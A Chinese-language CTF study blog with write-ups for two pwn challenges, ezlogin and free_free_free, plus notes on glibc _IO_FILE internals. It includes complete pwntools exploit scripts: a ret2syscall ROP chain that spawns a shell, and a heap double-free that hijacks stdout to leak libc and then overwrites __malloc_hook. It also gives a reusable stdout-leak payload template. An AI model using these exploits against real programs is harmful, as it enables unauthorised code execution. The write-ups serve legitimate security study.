做点笔记
复现
LitCTF2023 - ezlogin
分析
静态程序,且去了符号表。
使用 IDA flair
可以恢复一些去符号的静态编译程序的库函数名。拿 libc2.27
的签名文件试了下,恢复出了挺多函数的,然后就能摁看了。
可以在下面链接下载到 各个架构各个系统各个版本的签名文件
https://github.com/push0ebp/sig-database
恢复完后,漏洞点所在的函数大概长这样。
比赛的时候怎么都看不出洞,这也是想记录下复现这道题的过程的原因… 当时没注意到被调用的这个函数传进来的是变量 v4
的指针,即调用函数的一个栈变量,还以为 a1
是一个全局变量,蠢了…
然后有个判断,限制了输入长度:
(unsigned __int8)_libc_read(0, v2, 0x200uLL) > 0x50u
这个其实很好绕,因为检查的是 unsigned __int8
,其实就是实际输入长度的低八位,即输入 0x140 字节的数据也是能通过判断的。
程序会将输入的数据通过指针传递,复制给 v4
,该变量的长度是 0x108,所以是可以溢出的,就可以去打调用函数的 ROP
下一个难点在于 strcpy
函数的遇 \x00
截止,所以需要先覆盖一下 payload 中的 \x00
为其他字节,然后从后往前写。举个例子,假如要写入:
00 AA 00 BB 00 CC
那顺序写入的数据可以是:
payload1 --> 11 AA 11 BB 11 CC
payload2 --> 11 AA 11 BB 00
payload3 --> 11 AA 00
payload4 --> 00
下一个点是,题目没有 system
函数和 /bin/sh\x00
,考虑打两轮 ret2syscall
,第一轮的目的是往 bss
段写入 /bin/sh\x00
,第二轮 getshell
exp
from pwn import*
p = process('./pwn4')
context.log_level = 'debug'
elf = ELF('./pwn4')
syscall = 0x448D22
pop_rdi_ret = 0x400706
pop_rsi_ret = 0x410043
pop_rax_ret = 0x4005af
bss_addr = elf.bss(0x300)
main_addr = 0x4005c0
ret_addr = 0x400416
#round 1
payload = 'a'*(0x108)
payload += p64(pop_rdi_ret)
payload += p64(0)
payload += p64(pop_rsi_ret)
payload += p64(bss_addr)
payload += p64(pop_rax_ret)
payload += p64(0)
payload += p64(syscall)
payload += p64(main_addr)
payload = payload.ljust(0x148, 'a')
list = []
for i in range(0x148):
if payload[i] == '\x00':
list.append(i)
payload = payload[0:i] + '\x11' + payload[i+1:]
list = list[::-1]
for i in list :
payload = payload[0:i] + '\x00'
p.sendafter('Input your password:\n', payload)
p.sendafter('Input your password:\n', 'PASSWORD\x00')
sleep(0.1)
p.sendline(b'/bin/sh\x00')
#round 2
payload = 'a'*(0x108)
payload += p64(pop_rdi_ret)
payload += p64(bss_addr)
payload += p64(pop_rsi_ret)
payload += p64(0)
payload += p64(pop_rax_ret)
payload += p64(59)
payload += p64(syscall)
payload = payload.ljust(0x148, 'a')
list = []
for i in range(0x148):
if payload[i] == '\x00':
list.append(i)
payload = payload[0:i] + '\x11' + payload[i+1:]
list = list[::-1]
for i in list:
payload = payload[0:i] + '\x00'
p.sendafter('Input your password:\n', payload)
p.sendafter('Input your password:\n', 'PASSWORD\x00')
p.interactive()
莲城杯2021 - free_free_free
分析
2.23 版本的堆题,开了 PIE
保护,所以得想办法先泄 libc。程序逻辑其实很简单,就是只有 add 和 delete 功能的菜单堆题,有个管理申请出来的堆块的 chunk_list
数组,刚开始做这道题的时候其实思路挺局限的。
add 的话,能申请 0x7f
大小的堆块,实际上能申请到 0x90
大小的堆块,被释放后进入 unsorted bin
delete 处,将堆块释放后没有将 chunk_list
数组里的指针置零,经典 UAF
,可以打 fast bins
的 double free
刚开始的思考历程如下
程序没有 show 功能,肯定是要走 IO 的,所以先想办法把堆块分配到
_IO_2_1_stdout_
结构体附近,去改这个结构体的flags
和_IO_write_base
的低一字节,不过因为程序开了 PIE,怎么去泄libc
来找到_IO_2_1_stdout_
?这时候肯定是想找 能去写的遗留的
libc
指针,这样就可以利用部分写,写入两个字节(需要爆破半个字节,1/16 的概率)来申请到_IO_2_1_stdout_
结构体附近。别忘了,能申请到的最大堆块可以进
unsorted bin
,这样就能利用unsorted bin
的机制来对它遗留的 libc 指针进行操作,但是程序没有 edit 和 show 功能,这个指针不能直接泄也不能直接改,思路是将 unsorted bin 链中的 chunk 重新申请回来部分写遗留的指针,然后将该 chunk 链入 fast bin 中。这种手法也是看了下方博客才了解到的哈哈。
具体做题步骤如下
首先申请三个堆块,大小分别是 0x7f
, 0x60
, 0x60
,chunk0
是为了使其进入 unsorted bin
获得能利用的 libc
指针,后面两个 chunk
是为了让他们链入 fast bin
来打 double free
add(0x7f) #0
add(0x60) #1
add(0x60) #2
可以看见在 IO_2_1_stdout-0x43
处有能伪造的 chunk 可以利用。
将 chunk0 释放后重新申请回来(重新申请的大小为 0x60
,方便链入 fast bin
,ptmalloc2
会对 chunk0 进行切割,所以还是从刚释放掉的那个 chunk 里割),这样就能利用其遗留的 libc
指针,改低两字节,主要是最后 16 位要是 0x5dd
,就有机会指向 _IO_2_1_stdout_
。然后打 double free
,通过遗留的堆块指针,改低一字节使刚刚重新申请的那个堆块入链。
delete(0)
add(0x60, p16(0xe5dd))
delete(2)
delete(1)
delete(2)
add(0x60, '\x00') #3
多 add 几次就能将堆块申请到 _IO_FILE
那边了,改 flags
和 _IO_write_base
低一字节。
add(0x60) #4
add(0x60) #5
add(0x60) #6(\x00
payload = '\x00'*(0x43-0x10)
payload += p64(0xfbad3887)
payload += p64(0)*3
payload += '\x88'
add(0x60, payload)
然后 _IO_2_1_stdin_
的地址就被带出来了,可以计算 libc_base
后面就是 double free
打 malloc_hook
为 one_gadget
,使用 realloc
调栈,写个 try expect 去爆破,不再赘述。
exp
from pwn import *
p = process('./free_free_free')
elf = ELF('./free_free_free')
libc = elf.libc
context(os = 'linux', arch = 'amd64', log_level = 'debug')
def debug():
gdb.attach(p)
pause()
def add(size, content = 'a'):
p.sendlineafter('> ', '1')
p.sendlineafter('size> \n', str(size))
p.sendafter('message> \n', content)
def delete(index):
p.sendlineafter('> ', '2')
p.sendlineafter('idx> \n', str(index))
def pwnn():
add(0x7f) #0
add(0x60) #1
add(0x60) #2
delete(0)
#debug()
add(0x60, p16(0xe5dd))
#debug()
delete(2)
delete(1)
delete(2)
add(0x60, '\x00') #3
add(0x60) #4
add(0x60) #5
add(0x60) #6(\x00
payload = '\x00'*(0x43-0x10)
payload += p64(0xfbad3887)
payload += p64(0)*3
payload += '\x88'
add(0x60, payload)
leak_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc_base = leak_addr - libc.sym['_IO_2_1_stdin_']
log.info('libc_base: ' + hex(libc_base))
one_gadget = [0x45226,0x4527a,0xf03a4,0xf1247]
shell = libc_base + one_gadget[1]
malloc_hook = libc_base + libc.sym['__malloc_hook'] - 0x23
realloc = libc_base + libc.sym['realloc']
delete(2)
delete(1)
delete(2)
add(0x60, p64(malloc_hook))
add(0x60)
add(0x60)
payload = '\x00'*(0x13-0x8)
payload += p64(shell)
payload += p64(realloc+16)
add(0x60, payload)
p.sendlineafter('> ', '1')
p.sendlineafter('size> \n', '1')
p.interactive()
if __name__ == '__main__':
while(1):
try:
p = process('./free_free_free')
elf = ELF('./free_free_free')
libc = elf.libc
context.log_level = 'debug'
pwnn()
except Exception as e:
print e
else:
p.interactive()
exit()
_IO_FILE 学习笔记补充
_IO_FILE
攻击的常见利用:House of orange
,泄 libc
File_Structure_Source
先是自底向上地过一遍核心的结构体
_IO_FILE
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags
/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain; /* 指向下一个_IO_FILE的指针,这样stderr,stdout,stdin等所有_IO_FILE结构体就会形成一个链表串起来。链表头是_IO_list_all,如下图所示 */
int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
struct _IO_FILE_complete
{
struct _IO_FILE _file;
#endif
#if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001
_IO_off64_t _offset;
# if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
/* Wide character stream stuff. */
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
# else
void *__pad1;
void *__pad2;
void *__pad3;
void *__pad4;
size_t __pad5;
int _mode;
/* Make sure we don't get into trouble again. */
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
#endif
};
_IO_list_all
就是一个指针,有点像头指针这种,并非 _IO_FILE
结构体。
_IO_MAGIC/flags
#define _IO_MAGIC 0xFBAD0000 /* Magic number */
#define _OLD_STDIO_MAGIC 0xFABC0000 /* Emulate old stdio. */
#define _IO_MAGIC_MASK 0xFFFF0000
#define _IO_USER_BUF 1 /* User owns buffer; don't delete it on close. */
#define _IO_UNBUFFERED 2
#define _IO_NO_READS 4 /* Reading not allowed */
#define _IO_NO_WRITES 8 /* Writing not allowd */
#define _IO_EOF_SEEN 0x10
#define _IO_ERR_SEEN 0x20
#define _IO_DELETE_DONT_CLOSE 0x40 /* Don't call close(_fileno) on cleanup. */
#define _IO_LINKED 0x80 /* Set if linked (using _chain) to streambuf::_list_all.*/
#define _IO_IN_BACKUP 0x100
#define _IO_LINE_BUF 0x200
#define _IO_TIED_PUT_GET 0x400 /* Set if put and get pointer logicly tied. */
#define _IO_CURRENTLY_PUTTING 0x800
#define _IO_IS_APPENDING 0x1000
#define _IO_IS_FILEBUF 0x2000
#define _IO_BAD_SEEN 0x4000
#define _IO_USER_LOCK 0x8000
FILE
其实就是 _IO_FILE
typedef struct _IO_FILE FILE;
_IO_jump_t(虚函数表)
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};
_IO_FILE_plus
_IO_FILE_plus
结构包含了一个完整的 _IO_FILE
结构体和指向 vtable
的指针。
glibc2.23
版本下,32 位的 vtable
偏移为 0x94
,64 位偏移为 0xd8
struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
};
_IO_2_1_stdin_
extern struct _IO_FILE_plus _IO_2_1_stdin_;
extern struct _IO_FILE_plus _IO_2_1_stdout_;
extern struct _IO_FILE_plus _IO_2_1_stderr_;
stdin
_IO_FILE *stdin = (FILE *) &_IO_2_1_stdin_;
_IO_FILE *stdout = (FILE *) &_IO_2_1_stdout_;
_IO_FILE *stderr = (FILE *) &_IO_2_1_stderr_;
利用puts函数构造任意读
原理
“泄露的本质就是利用它原来的输出。只是在利用任意地址写之后改写了一些参数,让它原本的输出呈现出不一样的结果罢了!”
程序执行 puts
其实相当于执行 _IO_puts
(然后省略部分可以暂时先不用了解的代码),最后是去查 vtable
的 function_ptr
,跳去执行 _IO_new_file_xsputn
函数 。
改 stdout
的内部,有机会构造任意读。
条件:_IO_buf_end = _IO_write_ptr
,_IO_read_end = _IO_write_base
这样下来 puts
函数完整的调用链如下
puts -> IO_puts -> _IO_OVERFLOW ->_IO_new_file_xsputn -> _IO_new_file_overflow -> _IO_do_write -> _IO_new_do_write -> new_do_write -> _IO_SYSWRITE
payload(泄libc
glibc2.23
劫持 IO_2_1_stdout
的 payload 如下(问就是板子…
flags
- 只要修改
_IO_write_base
的大小稍微小一点,就能输出与libc
挨得很近的值。至于其上面几个关于read
的成员,覆盖成0就好
payload = p64(0xfbad3887)
payload += p64(0)*3
payload += '\x88'